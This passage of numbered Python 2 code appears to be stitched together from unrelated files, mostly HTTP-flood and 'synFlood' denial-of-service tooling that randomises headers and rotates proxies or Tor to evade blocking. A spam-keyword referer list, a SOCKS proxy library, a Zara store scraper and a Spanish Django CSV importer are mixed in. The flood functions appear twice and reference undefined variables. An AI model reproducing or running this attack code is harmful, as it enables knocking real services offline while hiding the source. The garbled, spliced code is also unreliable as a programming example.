  490. keyword_top.append('aot')
  491. keyword_top.append('paid to promote')
  492. keyword_top.append('dvd movies online')
  493. keyword_top.append('gmail')
  494. keyword_top.append('games')
  495. keyword_top.append('fb')
  496. keyword_top.append('internetreal')
  497. keyword_top.append('shopping')
  498. keyword_top.append('proxy dozer')
  499. keyword_top.append('amazon')
  500. keyword_top.append('jobs')
  501. keyword_top.append('video')
  502. keyword_top.append('promote')
  503. keyword_top.append('new')
  504. keyword_top.append('twitter')
  505. keyword_top.append('minecraft')
  506. keyword_top.append('paid to')
  507. keyword_top.append('free')
  508. keyword_top.append('earn cpcs')
  509. keyword_top.append('earn chi')
  510. keyword_top.append('netflix')
  511. keyword_top.append('videos')
  512. keyword_top.append('net')
  513. keyword_top.append('pulse')
  514. keyword_top.append('posted by')
  515. keyword_top.append('date you')
  516. keyword_top.append('news')
  517. keyword_top.append('this date')
  518. keyword_top.append('msn')
  519. keyword_top.append('facebook yahoo')
  520. keyword_top.append('dating')
  521. keyword_top.append('birthday gifts')
  522. keyword_top.append('cars')
  523. keyword_top.append('best100tattoos')
  524. keyword_top.append('walmart')
  525. keyword_top.append('lkckclckli1i')
  526. keyword_top.append('sports')
  527. keyword_top.append('software')
  528. keyword_top.append('music')
  529. keyword_top.append('the')
  530. keyword_top.append('email marketing')
  531. keyword_top.append('broadband')
  532. keyword_top.append('online')
  533. keyword_top.append('insurance')
  534. keyword_top.append('movie')
  535. keyword_top.append('tramadol')
  536. keyword_top.append('weight loss')
  537. keyword_top.append('chat')
  538. keyword_top.append('home')
  539. keyword_top.append('yahoo google')
  540. keyword_top.append('car insurance')
  541. keyword_top.append('face')
  542. keyword_top.append('spyware')
  543. keyword_top.append('you tube')
  544. keyword_top.append('free tv shows')
  545. keyword_top.append('downloads')
  546. keyword_top.append('google maps')
  547. keyword_top.append('websbiggest')
  548. keyword_top.append('macromedia flash player free download')
  549. keyword_top.append('m nova')
  550. keyword_top.append('facebook friends')
  551. keyword_top.append('phentermine')
  552. keyword_top.append('weather')
  553. keyword_top.append('watch online')
  554. keyword_top.append('medical insurance')
  555. keyword_top.append('dating websites')
  556. keyword_top.append('in')
  557. keyword_top.append('movies online')
  558. keyword_top.append('friv')
  559. keyword_top.append('search')
  560. keyword_top.append('alo')
  561. keyword_top.append('houses for rent by owner')
  562. keyword_top.append('of')
  563. keyword_top.append('internet marketing')
  564. keyword_top.append('blogging make money')
  565. keyword_top.append('make money blogging')
  566. keyword_top.append('game')
  567. keyword_top.append('movie2k')
  568. keyword_top.append('walmart stores')
  569. keyword_top.append('credit card')
  570. keyword_top.append('instagram')
  571. keyword_top.append('internet marketing advertising')
  572. keyword_top.append('biz')
  573. keyword_top.append('travel')
  574. keyword_top.append('to')
  575. keyword_top.append('dating website')
  576. keyword_top.append('windows')
  577. keyword_top.append('quick weight loss diet')
  578. keyword_top.append('omegle')
  579. keyword_top.append('comment')
  580. keyword_top.append('tips lose weight')
  581. keyword_top.append('account')
  582. keyword_top.append('health')
  583. keyword_top.append('business')
  584. keyword_top.append('free photography stock')
  585. keyword_top.append('110')
  586. keyword_top.append('vietnam')
  587. keyword_top.append('singapore')
  588. keyword_top.append('all 150')
  589. return(keyword_top)
  590.  
  591. #builds random asscii string
  592. def buildblock(size):
  593. out_str = ''
  594. for i in range(0, size):
  595. a = random.randint(65, 90)
  596. out_str += chr(a)
  597. return(out_str)
  598.  
  599. def httpcall(url):
  600. useragent_list()
  601. referer_list()
  602. keyword_list()
  603. code=0
  604. if url.count("?")>0:
  605. param_joiner="&"
  606. else:
  607. param_joiner="?"
  608. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  609. request.add_header('User-Agent', random.choice(headers_useragents))
  610. request.add_header('Cache-Control', 'no-cache')
  611. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  612. #request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  613. request.add_header('Referer', random.choice(headers_referers)+random.choice(keyword_top))
  614. #request.add_header('Referer', host)
  615. request.add_header('Keep-Alive', random.randint(110,120))
  616. request.add_header('Connection', 'keep-alive')
  617. request.add_header('Host',host)
  618. index = random.randint(0,len(listaproxy)-1)
  619. proxy = urllib2.ProxyHandler({'http':listaproxy[index]})
  620. opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
  621. urllib2.install_opener(opener)
  622. try:
  623. urllib2.urlopen(request)
  624. if(flag==1): set_flag(0)
  625. if(code==500): code=0
  626. except urllib2.HTTPError, e:
  627. set_flag(1)
  628. #print 'Response Code 500'
  629. code=500
  630. except urllib2.URLError, e:
  631. sys.exit()
  632. else:
  633. inc_counter()
  634. urllib2.urlopen(request)
  635.  
  636. def parse_item(self, response) :
  637. sel = Selector (response)
  638. items = []
  639. item = ZaraItem ()
  640. item['url'] = response.request.url
  641. title = sel.xpath ('//div[@class="right"]//header/h1//text()').extract()
  642. if title :
  643. item['title'] = title
  644. item['ref'] = sel.xpath ('//p[@class="reference"]//text()').extract()
  645. item['price'] = sel.xpath ('//p[@class="price"]/span[@class="price"]/@data-price').extract()
  646. desc = sel.xpath ('//p[@class="description"]/text()').extract()
  647. if desc :
  648. item['desc'] = desc
  649. item['img'] = sel.xpath ('//div[@class="imgCont"]//img/@src').extract()
  650. item['img_color'] = sel.xpath ('//span/i[@class="icon icon-arrow-down-color"]//text()').extract()
  651. if item['title'] and item['ref'] :
  652. return item
  653.  
  654. def import_file(request, pk):
  655. mensaje = ''
  656. context = locals()
  657. if request.method == 'POST':
  658. try:
  659. file = request.FILES['archivo']
  660. dataReader = csv.DictReader(file, delimiter=';')
  661. if (pk=='1'):
  662. for x in dataReader:
  663. modelo = EERR()
  664. modelo.oficina_id = x['Oficina de ventas']
  665. modelo.periodo_id = request.POST['periodo']
  666. modelo.kilo = transformarKilos(x['Kilos'])
  667. modelo.venta = transformarPrecios(x['Venta'])
  668. modelo.ingreso = transformarPrecios(x['Total Ingresos'])
  669. modelo.gasto = transformarPrecios(x['Total Gastos'])
  670. modelo.margen_peso = transformarPrecios(x['Margen'])
  671. modelo.margen_porc = float(transformarPorcentajes(x['Margen %'])) / 100
  672. modelo.save()
  673. mensaje = 'El reporte Estado de Resultado, ha sido cargado correctamente'
  674. save_report(request.user, request.POST['periodo'], 1)
  675. elif (pk=='2'):
  676. for x in dataReader:
  677. modelo = Kilos()
  678. modelo.oficina_id = x['Oficina de ventas']
  679. modelo.periodo_id = request.POST['periodo']
  680. modelo.tipoCliente_id = x['Tipo de cliente']
  681. modelo.kilos = transformarKilos(x['Kilos Venta'])
  682. modelo.save()
  683. mensaje = 'El reporte Kilos, ha sido cargado correctamente'
  684. save_report(request.user, request.POST['periodo'], 2)
  685. elif (pk=='3'):
  686. for x in dataReader:
  687. modelo = PrecioPromedio()
  688. modelo.oficina_id = x['Oficina de ventas']
  689. modelo.periodo_id = request.POST['periodo']
  690. modelo.tipoCliente_id = x['Tipo de cliente']
  691. modelo.sector_id = x['Sector']
  692. modelo.kilo = transformarKilos(x['Kilos Venta'])
  693. modelo.neto = transformarNetos(x['Venta Neta'])
  694. modelo.save()
  695. mensaje = 'El reporte Precio Promedio vs Zona, ha sido cargado correctamente'
  696. save_report(request.user, request.POST['periodo'], 3)
  697. elif (pk=='4'):
  698. for x in dataReader:
  699. modelo = Descuento()
  700. modelo.oficina_id = x['Oficina de ventas']
  701. modelo.periodo_id = request.POST['periodo']
  702. modelo.tipoCliente_id = x['Tipo de Cliente']
  703. modelo.sector_id = x['Sector']
  704. modelo.cadena_id = x['Cadena']
  705. modelo.rut = x['Rut']
  706. modelo.tipoPedido = x['Tipo Pedido']
  707. if (x['Kilos Facturados'] == 'X'):
  708. modelo.kilo = 0
  709. else:
  710. modelo.kilo = transformarKilosSinKG(x['Kilos Facturados'])
  711. if (x['P.Base'] == 'X'):
  712. modelo.kilo = 0
  713. else:
  714. modelo.base = transformarKilosSinKG(x['P.Base'])
  715. if (x['P.Especial'] == 'X'):
  716. modelo.kilo = 0
  717. else:
  718. modelo.especial = transformarKilosSinKG(x['P.Especial'])
  719. if (x['P.Vigente'] == 'X'):
  720. modelo.kilo = 0
  721. else:
  722. modelo.vigente = transformarKilosSinKG(x['P.Vigente'])
  723. if (x['P.Pedido'] == 'X'):
  724. modelo.kilo = 0
  725. else:
  726. modelo.pedido = transformarKilosSinKG(x['P.Pedido'])
  727. if (x['P.Facturado'] == 'X'):
  728. modelo.kilo = 0
  729. else:
  730. modelo.facturado = transformarKilosSinKG(x['P.Facturado'])
  731. modelo.save()
  732. mensaje = 'El reporte Precios y Descuentos, ha sido cargado correctamente'
  733. save_report(request.user, request.POST['periodo'], 4)
  734. elif (pk=='5'):
  735. for x in dataReader:
  736. modelo = Gasto()
  737. modelo.oficina_id = x['Oficina de ventas']
  738. modelo.periodo_id = request.POST['periodo']
  739. modelo.sector_id = int(x['Sector'])
  740. modelo.clasecoste_id = x['Clase de coste']
  741. if x['Monto'] == '':
  742. modelo.kilo = 0
  743. else:
  744. modelo.gasto = transformarPrecios(x['Monto'])
  745. modelo.save()
  746. mensaje = 'El reporte Costos Unitarios, ha sido cargado correctamente'
  747. save_report(request.user, request.POST['periodo'], 5)
  748. elif (pk=='6'):
  749. for x in dataReader:
  750. modelo = VentaCompleta()
  751. modelo.oficina_id = x['Oficina de ventas']
  752. modelo.periodo_id = request.POST['periodo']
  753. modelo.sector_id = int(x['Sector'])
  754. modelo.tipoCliente_id = x['Tipo de cliente']
  755. modelo.cliente = x['Cod Local']
  756. modelo.categoria_id = x['Categoria Cliente']
  757. modelo.fecha = transformarFechas(x['Dia natural'])
  758. modelo.supervisor = x['Supervisor_BP-CL']
  759. modelo.preventa = x['Preventa_BP-CL']
  760. if x['Unidades Venta'] == '':
  761. modelo.unidad = 0
  762. else:
  763. modelo.unidad = transformarNetos(x['Unidades Venta'])
  764. if x['Kilos Venta'] == '':
  765. modelo.kilo = 0
  766. else:
  767. modelo.kilo = transformarKilosSinKG(x['Kilos Venta'])
  768. if x['Venta Neta'] == '':
  769. modelo.neto = 0
  770. else:
  771. modelo.neto = transformarNetos(x['Venta Neta'])
  772. modelo.codigoMaterial = x['Cod Material']
  773. modelo.material = x['Material']
  774. modelo.nivel2 = x['Nivel 2']
  775. modelo.nivel3 = x['Nivel 3']
  776. modelo.marca = x['Marca']
  777. modelo.referencia = x['Referencia']
  778. modelo.save()
  779. mensaje = 'El reporte Formula de Ingreso, ha sido cargado correctamente'
  780. save_report(request.user, request.POST['periodo'], 6)
  781. else:
  782. mensaje = 'Este importe no ha sido programado'
  783. except Exception, e:
  784. mensaje = 'Ha ocurrido un error interno, por favor vuelva a intentarlo: ' + str(e)
  785. print(str(e))
  786. return render(request, 'imports/success_import.html', {'mensaje': mensaje, 'context': context})
  787.  
  788. def data_exist_eerr(request, pk):
  789. consulta = EERR.objects.all().filter(periodo__id=pk)
  790. if consulta.count() == 0:
  791. retorno = 0
  792. else:
  793. retorno = 1
  794. json_data = json.dumps({'retorno': retorno})
  795. return HttpResponse(json_data, content_type='application/json; charset=utf8')
  796.  
  797. def data_exist_pp_vs_zn(request, pk):
  798. consulta = PrecioPromedio.objects.all().filter(periodo__id=pk)
  799. if consulta.count() == 0:
  800. retorno = 0
  801. else:
  802. retorno = 1
  803. json_data = json.dumps({'retorno': retorno})
  804. return HttpResponse(json_data, content_type='application/json; charset=utf8')
  805.  
  806. def data_exist_precio_desc(request, pk):
  807. consulta = Descuento.objects.all().filter(periodo__id=pk)
  808. if consulta.count() == 0:
  809. retorno = 0
  810. else:
  811. retorno = 1
  812. json_data = json.dumps({'retorno': retorno})
  813. return HttpResponse(json_data, content_type='application/json; charset=utf8')
  814.  
  815. def data_exist_unit(request, pk):
  816. consulta = Gasto.objects.all().filter(periodo__id=pk)
  817. if consulta.count() == 0:
  818. retorno = 0
  819. else:
  820. retorno = 1
  821. json_data = json.dumps({'retorno': retorno})
  822. return HttpResponse(json_data, content_type='application/json; charset=utf8')
  823.  
  824. def data_exist_formula_ingreso(request, pk):
  825. consulta = VentaCompleta.objects.all().filter(periodo__id=pk)
  826. if consulta.count() == 0:
  827. retorno = 0
  828. else:
  829. retorno = 1
  830. json_data = json.dumps({'retorno': retorno})
  831. return HttpResponse(json_data, content_type='application/json; charset=utf8')
  832.  
  833. def transformarKilos(kilos):
  834. return kilos.replace('KG', '').replace('.', '').replace(',', '.')
  835.  
  836. def transformarKilosSinKG(kilos):
  837. return kilos.replace('.', '').replace(',', '.')
  838.  
  839. def transformarNetos(netos):
  840. return netos.replace('.', '')
  841.  
  842. def transformarPrecios(netos):
  843. return netos.replace('CLP', '').replace('.', '')
  844.  
  845. def transformarPorcentajes(porcentajes):
  846. return porcentajes.replace('%', '').replace(',', '.')
  847.  
  848. #http request
  849. def httpcall(url):
  850. useragent_list()
  851. referer_list()
  852. keyword_list()
  853. code=0
  854. if url.count("?")>0:
  855. param_joiner = "&"
  856. else:
  857. param_joiner = "?"
  858. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  859. request.add_header('User-Agent', random.choice(headers_useragents))
  860. request.add_header('Cache-Control', 'no-cache')
  861. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  862. request.add_header('Referer', random.choice(headers_referers)+random.choice(keyword_top))
  863. request.add_header('Keep-Alive', random.randint(110,120))
  864. request.add_header('Connection', 'keep-alive')
  865. request.add_header('Host',host)
  866. proxy = urllib2.ProxyHandler({'http':listaproxy[index]})
  867. opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
  868. urllib2.install_opener(opener)
  869. try:
  870. urllib2.urlopen(request)
  871. if(flag==1): set_flag(0)
  872. if(code==1000000000): code=1000000000
  873. except urllib2.HTTPError, e:
  874. set_flag(1)
  875. code=1000000000
  876. time.sleep(6)
  877. except urllib2.URLError, e:
  878. sys.exit()
  879. else:
  880. inc_counter()
  881. urllib2.urlopen(request)
  882. #print 'size: '+str(len(ips))+'\n'
  883. index = random.randint(0,len(ips)-1)
  884. #print 'http:'+ips[index];
  885. proxy = urllib2.ProxyHandler({'http':ips[index]})#proxy = urllib2.ProxyHandler({'http':random.choice(ips)})
  886. opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
  887. urllib2.install_opener(opener)
  888. try:
  889. urllib2.urlopen(request)
  890. if(flag==1): set_flag(0)
  891. if(code==500): code=0
  892. except urllib2.HTTPError, e:
  893. #print e.code
  894. set_flag(1)
  895. print 'Response Code 500'
  896. code=500
  897. #print "Start : %s" % time.ctime()
  898. time.sleep(60)
  899. #print "End : %s" % time.ctime()
  900. except urllib2.URLError, e:
  901. #print e.reason
  902. sys.exit()
  903. else:
  904. inc_counter()
  905. urllib2.urlopen(request)
  906.  
  907.  
  908. def setdefaultproxy(proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):
  909. """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
  910. Sets a default proxy which all further socksocket objects will use,
  911. unless explicitly changed.
  912. """
  913. global _defaultproxy
  914. _defaultproxy = (proxytype,addr,port,rdns,username,password)
  915.  
  916. class socksocket(socket.socket):
  917. """socksocket([family[, type[, proto]]]) -> socket object
  918.  
  919. Open a SOCKS enabled socket. The parameters are the same as
  920. those of the standard socket init. In order for SOCKS to work,
  921. you must specify family=AF_INET, type=SOCK_STREAM and proto=0.
  922. """
  923.  
  924. def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None):
  925. _orgsocket.__init__(self,family,type,proto,_sock)
  926. if _defaultproxy != None:
  927. self.__proxy = _defaultproxy
  928. else:
  929. self.__proxy = (None, None, None, None, None, None)
  930. self.__proxysockname = None
  931. self.__proxypeername = None
  932.  
  933. def __recvall(self, bytes):
  934. """__recvall(bytes) -> data
  935. Receive EXACTLY the number of bytes requested from the socket.
  936. Blocks until the required number of bytes have been received.
  937. """
  938. data = ""
  939. while len(data) < bytes:
  940. data = data + self.recv(bytes-len(data))
  941. return data
  942.  
  943. def setproxy(self,proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):
  944. """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
  945. Sets the proxy to be used.
  946. proxytype - The type of the proxy to be used. Three types
  947. are supported: PROXY_TYPE_SOCKS4 (including socks4a),
  948. PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP
  949. addr - The address of the server (IP or DNS).
  950. port - The port of the server. Defaults to 1080 for SOCKS
  951. servers and 8080 for HTTP proxy servers.
  952. rdns - Should DNS queries be preformed on the remote side
  953. (rather than the local side). The default is True.
  954. Note: This has no effect with SOCKS4 servers.
  955. username - Username to authenticate with to the server.
  956. The default is no authentication.
  957. password - Password to authenticate with to the server.
  958. Only relevant when username is also provided.
  959. """
  960. self.__proxy = (proxytype,addr,port,rdns,username,password)
  961.  
  962. def __negotiatesocks5(self,destaddr,destport):
  963. """__negotiatesocks5(self,destaddr,destport)
  964. Negotiates a connection through a SOCKS5 server.
  965. """
  966. # First we'll send the authentication packages we support.
  967. if (self.__proxy[4]!=None) and (self.__proxy[5]!=None):
  968. # The username/password details were supplied to the
  969. # setproxy method so we support the USERNAME/PASSWORD
  970. # authentication (in addition to the standard none).
  971. self.sendall("\x05\x02\x00\x02")
  972. else:
  973. # No username/password were entered, therefore we
  974. # only support connections with no authentication.
  975. self.sendall("\x05\x01\x00")
  976. # We'll receive the server's response to determine which
  977. # method was selected
  978. chosenauth = self.__recvall(2)
  979. if chosenauth[0] != "\x05":
  980. self.close()
  981. raise GeneralProxyError((1,_generalerrors[1]))
  982. # Check the chosen authentication method
  983. if chosenauth[1] == "\x00":
  984. # No authentication is required
  985. pass
  986. elif chosenauth[1] == "\x02":
  987. # Okay, we need to perform a basic username/password
  988. # authentication.
  989. self.sendall("\x01" + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.proxy[5])) + self.__proxy[5])
  990. authstat = self.__recvall(2)
  991. if authstat[0] != "\x01":
  992. # Bad response
  993. self.close()
  994. raise GeneralProxyError((1,_generalerrors[1]))
  995. if authstat[1] != "\x00":
  996. # Authentication failed
  997. self.close()
  998. raise Socks5AuthError,((3,_socks5autherrors[3]))
  999. # Authentication succeeded
  1000. else:
  1001. # Reaching here is always bad
  1002. self.close()
  1003. if chosenauth[1] == "\xFF":
  1004. raise Socks5AuthError((2,_socks5autherrors[2]))
  1005. else:
  1006. raise GeneralProxyError((1,_generalerrors[1]))
  1007. # Now we can request the actual connection
  1008. req = "\x05\x01\x00"
  1009. # If the given destination address is an IP address, we'll
  1010. # use the IPv4 address request even if remote resolving was specified.
  1011. try:
  1012. ipaddr = socket.inet_aton(destaddr)
  1013. req = req + "\x01" + ipaddr
  1014. except socket.error:
  1015. # Well it's not an IP number, so it's probably a DNS name.
  1016. if self.__proxy[3]==True:
  1017. # Resolve remotely
  1018. ipaddr = None
  1019. req = req + "\x03" + chr(len(destaddr)) + destaddr
  1020. else:
  1021. # Resolve locally
  1022. ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
  1023. req = req + "\x01" + ipaddr
  1024. req = req + struct.pack(">H",destport)
  1025. self.sendall(req)
  1026. # Get the response
  1027. resp = self.__recvall(4)
  1028. if resp[0] != "\x05":
  1029. self.close()
  1030. raise GeneralProxyError((1,_generalerrors[1]))
  1031. elif resp[1] != "\x00":
  1032. # Connection failed
  1033. self.close()
  1034. if ord(resp[1])<=8:
  1035. raise Socks5Error(ord(resp[1]),_generalerrors[ord(resp[1])])
  1036. else:
  1037. raise Socks5Error(9,_generalerrors[9])
  1038. # Get the bound address/port
  1039. elif resp[3] == "\x01":
  1040. boundaddr = self.__recvall(4)
  1041. elif resp[3] == "\x03":
  1042. resp = resp + self.recv(1)
  1043. boundaddr = self.__recvall(resp[4])
  1044. else:
  1045. self.close()
  1046. raise GeneralProxyError((1,_generalerrors[1]))
  1047. boundport = struct.unpack(">H",self.__recvall(2))[0]
  1048. self.__proxysockname = (boundaddr,boundport)
  1049. if ipaddr != None:
  1050. self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)
  1051. else:
  1052. self.__proxypeername = (destaddr,destport)
  1053.  
  1054. def getproxysockname(self):
  1055. """getsockname() -> address info
  1056. Returns the bound IP address and port number at the proxy.
  1057. """
  1058. return self.__proxysockname
  1059.  
  1060. def getproxypeername(self):
  1061. """getproxypeername() -> address info
  1062. Returns the IP and port number of the proxy.
  1063. """
  1064. return _orgsocket.getpeername(self)
  1065.  
  1066. def getpeername(self):
  1067. """getpeername() -> address info
  1068. Returns the IP address and port number of the destination
  1069. machine (note: getproxypeername returns the proxy)
  1070. """
  1071. return self.__proxypeername
  1072.  
  1073. def __negotiatesocks4(self,destaddr,destport):
  1074. """__negotiatesocks4(self,destaddr,destport)
  1075. Negotiates a connection through a SOCKS4 server.
  1076. """
  1077. # Check if the destination address provided is an IP address
  1078. rmtrslv = False
  1079. try:
  1080. ipaddr = socket.inet_aton(destaddr)
  1081. except socket.error:
  1082. # It's a DNS name. Check where it should be resolved.
  1083. if self.__proxy[3]==True:
  1084. ipaddr = "\x00\x00\x00\x01"
  1085. rmtrslv = True
  1086. else:
  1087. ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
  1088. # Construct the request packet
  1089. req = "\x04\x01" + struct.pack(">H",destport) + ipaddr
  1090. # The username parameter is considered userid for SOCKS4
  1091. if self.__proxy[4] != None:
  1092. req = req + self.__proxy[4]
  1093. req = req + "\x00"
  1094. # DNS name if remote resolving is required
  1095. # NOTE: This is actually an extension to the SOCKS4 protocol
  1096. # called SOCKS4A and may not be supported in all cases.
  1097. if rmtrslv==True:
  1098. req = req + destaddr + "\x00"
  1099. self.sendall(req)
  1100. # Get the response from the server
  1101. resp = self.__recvall(8)
  1102. if resp[0] != "\x00":
  1103. # Bad data
  1104. self.close()
  1105. raise GeneralProxyError((1,_generalerrors[1]))
  1106. if resp[1] != "\x5A":
  1107. # Server returned an error
  1108. self.close()
  1109. if ord(resp[1]) in (91,92,93):
  1110. self.close()
  1111. raise Socks4Error((ord(resp[1]),_socks4errors[ord(resp[1])-90]))
  1112. else:
  1113. raise Socks4Error((94,_socks4errors[4]))
  1114. # Get the bound address/port
  1115. self.__proxysockname = (socket.inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0])
  1116. if rmtrslv != None:
  1117. self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)
  1118. else:
  1119. self.__proxypeername = (destaddr,destport)
  1120.  
  1121. def __negotiatehttp(self,destaddr,destport):
  1122. """__negotiatehttp(self,destaddr,destport)
  1123. Negotiates a connection through an HTTP server.
  1124. """
  1125. # If we need to resolve locally, we do this now
  1126. if self.__proxy[3] == False:
  1127. addr = socket.gethostbyname(destaddr)
  1128. else:
  1129. addr = destaddr
  1130. self.sendall("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n")
  1131. # We read the response until we get the string "\r\n\r\n"
  1132. resp = self.recv(1)
  1133. while resp.find("\r\n\r\n")==-1:
  1134. resp = resp + self.recv(1)
  1135. # We just need the first line to check if the connection
  1136. # was successful
  1137. statusline = resp.splitlines()[0].split(" ",2)
  1138. if statusline[0] not in ("HTTP/1.0","HTTP/1.1"):
  1139. self.close()
  1140. raise GeneralProxyError((1,_generalerrors[1]))
  1141. try:
  1142. statuscode = int(statusline[1])
  1143. except ValueError:
  1144. self.close()
  1145. raise GeneralProxyError((1,_generalerrors[1]))
  1146. if statuscode != 200:
  1147. self.close()
  1148. raise HTTPError((statuscode,statusline[2]))
  1149. self.__proxysockname = ("0.0.0.0",0)
  1150. self.__proxypeername = (addr,destport)
  1151.  
  1152. def connect(self,destpair):
  1153. """connect(self,despair)
  1154. Connects to the specified destination through a proxy.
  1155. destpar - A tuple of the IP/DNS address and the port number.
  1156. (identical to socket's connect).
  1157. To select the proxy server use setproxy().
  1158. """
  1159. # Do a minimal input check first
  1160. if (type(destpair) in (list,tuple)==False) or (len(destpair)<2) or (type(destpair[0])!=str) or (type(destpair[1])!=int):
  1161. raise GeneralProxyError((5,_generalerrors[5]))
  1162. if self.__proxy[0] == PROXY_TYPE_SOCKS5:
  1163. if self.__proxy[2] != None:
  1164. portnum = self.__proxy[2]
  1165. else:
  1166. portnum = 1080
  1167. _orgsocket.connect(self,(self.__proxy[1],portnum))
  1168. self.__negotiatesocks5(destpair[0],destpair[1])
  1169. elif self.__proxy[0] == PROXY_TYPE_SOCKS4:
  1170. if self.__proxy[2] != None:
  1171. portnum = self.__proxy[2]
  1172. else:
  1173. portnum = 1080
  1174. _orgsocket.connect(self,(self.__proxy[1],portnum))
  1175. self.__negotiatesocks4(destpair[0],destpair[1])
  1176. elif self.__proxy[0] == PROXY_TYPE_HTTP:
  1177. if self.__proxy[2] != None:
  1178. portnum = self.__proxy[2]
  1179. else:
  1180. portnum = 8080
  1181. _orgsocket.connect(self,(self.__proxy[1],portnum))
  1182. self.__negotiatehttp(destpair[0],destpair[1])
  1183. elif self.__proxy[0] == None:
  1184. _orgsocket.connect(self,(destpair[0],destpair[1]))
  1185. else:
  1186. raise GeneralProxyError((4,_generalerrors[4]))
  1187.  
  1188. class ProxyError(Exception):
  1189. def __init__(self, value):
  1190. self.value = value
  1191. def __str__(self):
  1192. return repr(self.value)
  1193.  
  1194. class GeneralProxyError(ProxyError):
  1195. def __init__(self, value):
  1196. self.value = value
  1197. def __str__(self):
  1198. return repr(self.value)
  1199.  
  1200. class Socks5AuthError(ProxyError):
  1201. def __init__(self, value):
  1202. self.value = value
  1203. def __str__(self):
  1204. return repr(self.value)
  1205.  
  1206. class Socks5Error(ProxyError):
  1207. def __init__(self, value):
  1208. self.value = value
  1209. def __str__(self):
  1210. return repr(self.value)
  1211.  
  1212. class Socks4Error(ProxyError):
  1213. def __init__(self, value):
  1214. self.value = value
  1215. def __str__(self):
  1216. return repr(self.value)
  1217.  
  1218. class HTTPError(ProxyError):
  1219. def __init__(self, value):
  1220. self.value = value
  1221. def __str__(self):
  1222. return repr(self.value)
  1223.  
  1224. class synFlood(threading.Thread):
  1225. def __init__(self, host, port):
  1226. Thread.__init__(self)
  1227. self.host = host
  1228. self.port = port
  1229. self.socks = socks.socksocket()
  1230. self.tor = tor
  1231. self.running = True
  1232.  
  1233. def _send_http_get(self, pause = random.randrange(1, 10)):
  1234. global stop_now
  1235. self.socks.send("GET / HTTP/1.1\r\n"
  1236. "Host: %s\r\n"
  1237. "User-Agent: %s\r\n"
  1238. "Accept: image/png,*/*;q=0.5\r\n"
  1239. "Cache-Control: no-cache, max-age=0\r\n"
  1240. "Connection: keep-alive\r\n"
  1241. "Keep-Alive: 120\r\n"
  1242. "Content-Length: 42\r\n"
  1243. #"Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
  1244. (self.host, random.choice(useragents)))
  1245.  
  1246. for i in range(0, 9999):
  1247. if stop_now:
  1248. self.running = False
  1249. break
  1250. p = random.choice(string.letters+string.digits)
  1251. data = ['\x00','\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00']
  1252. packet = random.choice(data)
  1253. magic = random.choice(packet+p)
  1254. print term.BOL+term.UP+term.CLEAR_EOL+"Sending magic packets!: %s" % packet+term.NORMAL
  1255. self.socks.send(magic)
  1256. time.sleep(random.uniform(0.1, 3))
  1257.  
  1258. self.socks.close()
  1259.  
  1260. def run(self):
  1261. while self.running:
  1262. while self.running:
  1263. try:
  1264. if self.tor:
  1265. self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  1266. self.socks.connect((self.host, self.port))
  1267. print term.BOL+term.UP+term.CLEAR_EOL+"Stressing Target!..."+ term.NORMAL
  1268. break
  1269. except Exception, e:
  1270. if e.args[0] == 106 or e.args[0] == 60:
  1271. break
  1272. print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
  1273. time.sleep(1)
  1274. #self.socks = socks.socksocket()
  1275. continue
  1276.  
  1277. while self.running:
  1278. try:
  1279. self._send_http_get()
  1280. except Exception, e:
  1281. if e.args[0] == 32 or e.args[0] == 104:
  1282. print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
  1283. #self.socks.close()
  1284. self.socks = socks.socksocket()
  1285. break
  1286. time.sleep(1)
  1287. pass
  1288.  
  1289. class MyThread(Thread,):
  1290. def __init__(self,SITE, DOS_TYPE):
  1291. Thread.__init__(self)
  1292. self.method = DOS_TYPE
  1293. self.site = SITE
  1294. self.kill_received = False
  1295. def run(self):
  1296. while not self.kill_received:
  1297. server = socket.gethostbyname(self.site)
  1298. post = 'x' * 6000
  1299. file = 'index.php'
  1300.  
  1301. request = '%s /%s HTTP/1.1\r\n' %(self.method.upper(),file)
  1302. request += 'Host: %s\r\n' % (self.site)
  1303. request += 'User-Agent: Mozilla/5.0 (Windows; U;Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026Firefox/3.6.12\r\n'
  1304. request += 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
  1305. request += 'Accept-Language: en-us,en;q=0.5\r\n'
  1306. request += 'Accept-Encoding: gzip,deflate\r\n'
  1307. request += 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n'
  1308. request += 'Keep-Alive: 900\r\n'
